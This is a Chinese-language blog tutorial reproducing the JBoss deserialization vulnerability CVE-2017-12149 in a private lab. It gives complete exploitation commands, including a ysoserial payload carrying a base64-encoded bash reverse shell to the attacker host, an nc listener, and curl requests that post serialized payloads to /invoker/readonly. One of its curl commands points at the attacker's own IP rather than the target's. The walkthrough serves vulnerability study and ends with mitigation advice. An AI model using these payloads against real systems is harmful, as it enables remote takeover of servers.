ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Jboss反序列化漏洞复现(CVE-2017-12149)

2021-10-22 17:34:02  阅读:270  来源: 互联网

标签:jboss CVE java jar Jboss 漏洞 http 序列化


Jboss反序列化漏洞复现(CVE-2017-12149)

//一共尝试了三种方式

一:

(一)漏洞描述

漏洞为java反序列化错误,存在于jboss的Httplnvoker组件中的ReadOnlyAccessFilter过滤器中,该过滤器在没有对用户输入的数据进行安全检测的情况下,对数据流进行反序列化操作,进而导致了漏洞的发生

(二)漏洞影响版本:jboss 5.x、jboss6.x

(三)漏洞复现环境搭建

Win7 192.168.87.145 //建议在Win7,win10个人尝试过,页面解析不了

1.安装java环境,并测试

(1)JDK,可以到官网下载:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html

根据版本下载对应的JDK //我win7是64位的

image-20210919133350092

(2)配置环境变量

win+R,输入sysdm.cpl --> 高级-->环境变量

  • 变量名:CLASSPATH //大小写都行

    变量值:.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar; //前面有个点"."

  • 变量名:Path //在里面加上

    变量值:%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;

  • 变量名:JAVA_HOME

    变量值:C:\Program Files\Java\jdk1.8.0_301

    (3)测试环境

cmd,输入java、javac、java -version, 显示成功就说明环境没问题 //win10 ,javac执行不了是因为每个变量后面会自动加上; ,so

image-20210919135323879这样就ok了,image-20210919135429189

2.搭建jboss环境

(1)http://jbossas.jboss.org/downloads/ 下载jboss-as-6.1.0-final

(2)解压放在一个目录下(C:\ve\jboss-6.1.0.Final)

(3)新建环境变量

  • 变量名:JBOSS_HOME

    变量值:C:\ve\jboss-6.1.0.Final

    在Path中加入 :%JBOSS_HOME%\bin;

(4)配置好环境变量后,在C:\ve\jboss-6.1.0.Final\bin下打开cmd,输入call run.bat,出现下图表示启动成功

image-20210919141025292 image-20210919141310403

3.先在本地测试,在浏览器中输入127.0.0.1:8080

//win中,端口都是开放的,默认是关闭状态,有程序需要时,会自动打开。so,在cmd启动后,在浏览器中输入IP:port即可(查看端口使用状态命令:netstat -ano)

image-20210919142304828

4.因为默认不能远程访问,所以我们需要修改一下配置文件,

位置在:jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml ,改成如下即可:,然后重启jboss

image-20210919142816732

5.测试远程访问,ok~

image-20210919143116379

6.访问http://192.168.87.145:8080/invoker/readonly,若显示如下HTTP Status 500,则说明存在漏洞

image-20210919143334514

7.使用工具测试利用漏洞,工具下载地址:https://github.com/yunxu1/jboss-_CVE-2017-12149反序列化测试工具

(1)verify_CVE-2017-12149.jar提供命令行模式下验证漏洞,如果漏洞存在返回特征字符串

image-20210919143628273

(2)直接使用jboss反序列化_CVE-2017-12149.jar

image-20210919143950018

执行其他命令,出现中文会乱码,可以输入命令chcp 65001,减少乱码

8.漏洞防护

1、升级jboss版本

2、不需要的http-invoker.sar组件,可以删除

二:

靶机:win7 192.168.87.145:8080

测试机:kali 192.168.87.128

(1)下载漏洞利用工具 http://scan.javasec.cn/java/JavaDeserH2HC.zip,解压放在kali桌面,进入JavaDeserH2HC目录下,然后下载执行生成二进制的payload文件

输入:javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

//javac命令执行不了,输入:apt install default-jdk ;centos执行不了,输入:yum install java-devel

image-20210919165208710

(2)继续输入java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.87.128:4444

​ //ip地址为Kali地址(ifconfig查看),端口为随机监听,不冲突就行,用来进行反弹shell

image-20210919165654402

(3)重新打开一个终端,输入监听端口的命令:nc -lvvp 4444

image-20210919165925648

(4)向靶机发送payload: ,成功则会返回监听结果 // –data-binary的意思是使用curl命令向/invoker/readonly提交payload

curl http://192.168.87.128:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20210919170755914

三,

反弹shell

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化,so,我们用常规Java反序列化漏洞测试方法来复现该漏洞。

(1)编写反弹shell的命令
我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码

利用工具:http://www.jackson-t.ca/runtime-exec-payloads.html

image-20210919173149951(2)构造生成payload,使用ysoserial来复现生成序列化数据

java -jar ysoserial.jar CommonsCollections5

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

(3)监听端口:nc -lvvp 6666

(4)发送payload:curl http://192.168.87.145:8080/invoker/readonly --data-binary @poc.ser,查看监听结果

标签:jboss,CVE,java,jar,Jboss,漏洞,http,序列化
来源: https://www.cnblogs.com/7omss/p/15439985.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有